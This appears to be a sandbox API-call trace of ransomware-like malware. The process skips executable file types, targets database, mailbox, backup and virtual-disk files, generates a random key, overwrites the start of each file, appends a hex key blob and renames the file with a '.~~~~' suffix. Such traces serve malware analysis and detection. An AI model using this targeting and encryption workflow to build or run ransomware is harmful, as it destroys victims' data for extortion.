	[0081.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".dll") returned 0x0
	[0081.424] lstrlenW (lpString=".bat") returned 4
	[0081.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".bat") returned 0x0
	[0081.424] lstrlenW (lpString=".cpl") returned 4
	[0081.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".cpl") returned 0x0
	[0081.424] lstrlenW (lpString=".sys") returned 4
	[0081.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".sys") returned 0x0
	[0081.424] lstrlenW (lpString=".msc") returned 4
	[0081.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".msc") returned 0x0
	[0081.424] lstrlenW (lpString=".com") returned 4
	[0081.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".com") returned 0x0
	[0081.424] lstrlenW (lpString=".lnk") returned 4
	[0081.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".lnk") returned 0x0
	[0081.424] lstrlenW (lpString=".msp") returned 4
	[0081.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".msp") returned 0x0
	[0081.424] lstrlenW (lpString=".pif") returned 4
	[0081.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".pif") returned 0x0
	[0081.424] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0081.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0081.460] lstrlenW (lpString=".sqb") returned 4
	[0081.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".sqb") returned 0x0
	[0081.460] lstrlenW (lpString=".ost") returned 4
	[0081.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".ost") returned 0x0
	[0081.460] lstrlenW (lpString=".txt") returned 4
	[0081.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".txt") returned 0x0
	[0081.460] lstrlenW (lpString=".mdt") returned 4
	[0081.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".mdt") returned 0x0
	[0081.460] lstrlenW (lpString=".BDB") returned 4
	[0081.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".BDB") returned 0x0
	[0081.460] lstrlenW (lpString=".eql") returned 4
	[0081.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".eql") returned 0x0
	[0081.460] lstrlenW (lpString=".DBF") returned 4
	[0081.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".DBF") returned 0x0
	[0081.460] lstrlenW (lpString=".EQL") returned 4
	[0081.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".EQL") returned 0x0
	[0081.460] lstrlenW (lpString=".FDB") returned 4
	[0081.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".FDB") returned 0x0
	[0081.460] lstrlenW (lpString=".EDB") returned 4
	[0081.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".EDB") returned 0x0
	[0081.460] lstrlenW (lpString=".DACPAC") returned 7
	[0081.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".DACPAC") returned 0x0
	[0081.460] lstrlenW (lpString=".VHD") returned 4
	[0081.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".VHD") returned 0x0
	[0081.461] lstrlenW (lpString=".DBV") returned 4
	[0081.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".DBV") returned 0x0
	[0081.461] lstrlenW (lpString=".dacpac") returned 7
	[0081.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".dacpac") returned 0x0
	[0081.461] lstrlenW (lpString=".sdf") returned 4
	[0081.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".sdf") returned 0x0
	[0081.461] lstrlenW (lpString=".accdb") returned 6
	[0081.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".accdb") returned 0x0
	[0081.461] lstrlenW (lpString=".DBX") returned 4
	[0081.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".DBX") returned 0x0
	[0081.461] lstrlenW (lpString=".MDT") returned 4
	[0081.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".MDT") returned 0x0
	[0081.461] lstrlenW (lpString=".SQB") returned 4
	[0081.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".SQB") returned 0x0
	[0081.461] lstrlenW (lpString=".vhd") returned 4
	[0081.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".vhd") returned 0x0
	[0081.461] lstrlenW (lpString=".bac") returned 4
	[0081.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".bac") returned 0x0
	[0081.461] lstrlenW (lpString=".mdf") returned 4
	[0081.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".mdf") returned 0x0
	[0081.461] lstrlenW (lpString=".BAK") returned 4
	[0081.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".BAK") returned 0x0
	[0081.461] lstrlenW (lpString=".BAC") returned 4
	[0081.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".BAC") returned 0x0
	[0081.461] lstrlenW (lpString=".dbs") returned 4
	[0081.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".dbs") returned 0x0
	[0081.461] lstrlenW (lpString=".vhdx") returned 5
	[0081.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".vhdx") returned 0x0
	[0081.461] lstrlenW (lpString=".NDF") returned 4
	[0081.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".NDF") returned 0x0
	[0081.461] lstrlenW (lpString=".dat") returned 4
	[0081.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".dat") returned 0x0
	[0081.461] lstrlenW (lpString=".DBS") returned 4
	[0081.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".DBS") returned 0x0
	[0081.461] lstrlenW (lpString=".CKP") returned 4
	[0081.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".CKP") returned 0x0
	[0081.462] lstrlenW (lpString=".edb") returned 4
	[0081.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".edb") returned 0x0
	[0081.462] lstrlenW (lpString=".PST") returned 4
	[0081.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".PST") returned 0x0
	[0081.462] lstrlenW (lpString=".dbf") returned 4
	[0081.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".dbf") returned 0x0
	[0081.462] lstrlenW (lpString=".SQL") returned 4
	[0081.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".SQL") returned 0x0
	[0081.462] lstrlenW (lpString=".pst") returned 4
	[0081.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".pst") returned 0x0
	[0081.462] lstrlenW (lpString=".dbv") returned 4
	[0081.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".dbv") returned 0x0
	[0081.462] lstrlenW (lpString=".SDF") returned 4
	[0081.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".SDF") returned 0x0
	[0081.462] lstrlenW (lpString=".dtxs") returned 5
	[0081.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".dtxs") returned 0x0
	[0081.462] lstrlenW (lpString=".db3") returned 4
	[0081.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".db3") returned 0x0
	[0081.462] lstrlenW (lpString=".OST") returned 4
	[0081.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".OST") returned 0x0
	[0081.462] lstrlenW (lpString=".dbx") returned 4
	[0081.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".dbx") returned 0x0
	[0081.462] lstrlenW (lpString=".DB3") returned 4
	[0081.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".DB3") returned 0x0
	[0081.462] lstrlenW (lpString=".DAT") returned 4
	[0081.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".DAT") returned 0x0
	[0081.462] lstrlenW (lpString=".VHDX") returned 5
	[0081.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".VHDX") returned 0x0
	[0081.462] lstrlenW (lpString=".ndf") returned 4
	[0081.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".ndf") returned 0x0
	[0081.462] lstrlenW (lpString=".DB") returned 3
	[0081.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".DB") returned 0x0
	[0081.462] lstrlenW (lpString=".sql") returned 4
	[0081.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".sql") returned 0x0
	[0081.463] lstrlenW (lpString=".MYD") returned 4
	[0081.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".MYD") returned 0x0
	[0081.463] lstrlenW (lpString=".DBT") returned 4
	[0081.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".DBT") returned 0x0
	[0081.463] lstrlenW (lpString=".ACCDB") returned 6
	[0081.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".ACCDB") returned 0x0
	[0081.463] lstrlenW (lpString=".fdb") returned 4
	[0081.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".fdb") returned 0x0
	[0081.463] lstrlenW (lpString=".bak") returned 4
	[0081.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".bak") returned 0x0
	[0081.463] lstrlenW (lpString=".myd") returned 4
	[0081.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".myd") returned 0x0
	[0081.463] lstrlenW (lpString=".DTXS") returned 5
	[0081.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".DTXS") returned 0x0
	[0081.463] lstrlenW (lpString=".ckp") returned 4
	[0081.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".ckp") returned 0x0
	[0081.464] lstrlenW (lpString=".dbt") returned 4
	[0081.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".dbt") returned 0x0
	[0081.464] lstrlenW (lpString=".db") returned 3
	[0081.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".db") returned 0x0
	[0081.464] lstrlenW (lpString=".TXT") returned 4
	[0081.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".TXT") returned 0x0
	[0081.464] lstrlenW (lpString=".MDF") returned 4
	[0081.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".MDF") returned 0x0
	[0081.464] lstrlenW (lpString=".bdb") returned 4
	[0081.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".bdb") returned 0x0
	[0081.464] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0081.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.465] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394860) returned 1
	[0081.465] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.465] CryptReleaseContext (hProv=0x394860, dwFlags=0x0) returned 1
	[0081.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0081.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0081.466] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20145563456) returned 1
	[0081.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9a686930, dwHighDateTime=0x1d60e1e)) 
	[0081.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0081.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0081.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0081.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe1d8
	[0081.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe1d8 | out: hHeap=0x300000) returned 1
	[0081.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.466] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0081.466] GetLastError () returned 0x0
	[0081.466] GetLastError () returned 0x0
	[0081.466] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0081.466] GetLastError () returned 0x0
	[0081.467] GetLastError () returned 0x0
	[0081.467] ReadFile (in: hFile=0x118, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.469] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.469] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0081.471] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.471] WriteFile (in: hFile=0x118, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.472] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.472] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.473] CloseHandle (hObject=0x118) returned 1
	[0081.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.473] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe.~~~~")) returned 1
	[0081.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0068 | out: hHeap=0x300000) returned 1
	[0081.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0081.473] GetLastError () returned 0x0
	[0081.474] RtlWakeConditionVariable () returned 0x365f70
	[0081.474] GetCurrentThreadId () returned 0x9f4
	[0081.474] GetCurrentThreadId () returned 0x9f4
	[0081.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a30a0 | out: hHeap=0x300000) returned 1
	[0081.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe210 | out: hHeap=0x300000) returned 1
	[0081.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0a88
	[0081.474] lstrlenW (lpString=".scr") returned 4
	[0081.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".scr") returned 0x0
	[0081.474] lstrlenW (lpString=".cmd") returned 4
	[0081.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".cmd") returned 0x0
	[0081.474] lstrlenW (lpString=".dll") returned 4
	[0081.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".dll") returned 0x0
	[0081.474] lstrlenW (lpString=".bat") returned 4
	[0081.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".bat") returned 0x0
	[0081.474] lstrlenW (lpString=".cpl") returned 4
	[0081.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".cpl") returned 0x0
	[0081.474] lstrlenW (lpString=".sys") returned 4
	[0081.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".sys") returned 0x0
	[0081.474] lstrlenW (lpString=".msc") returned 4
	[0081.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".msc") returned 0x0
	[0081.474] lstrlenW (lpString=".com") returned 4
	[0081.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".com") returned 0x0
	[0081.474] lstrlenW (lpString=".lnk") returned 4
	[0081.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".lnk") returned 0x0
	[0081.474] lstrlenW (lpString=".msp") returned 4
	[0081.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".msp") returned 0x0
	[0081.474] lstrlenW (lpString=".pif") returned 4
	[0081.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".pif") returned 0x0
	[0081.474] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0081.475] lstrlenW (lpString=".sqb") returned 4
	[0081.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".sqb") returned 0x0
	[0081.476] lstrlenW (lpString=".ost") returned 4
	[0081.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".ost") returned 0x0
	[0081.476] lstrlenW (lpString=".txt") returned 4
	[0081.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".txt") returned 0x0
	[0081.476] lstrlenW (lpString=".mdt") returned 4
	[0081.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".mdt") returned 0x0
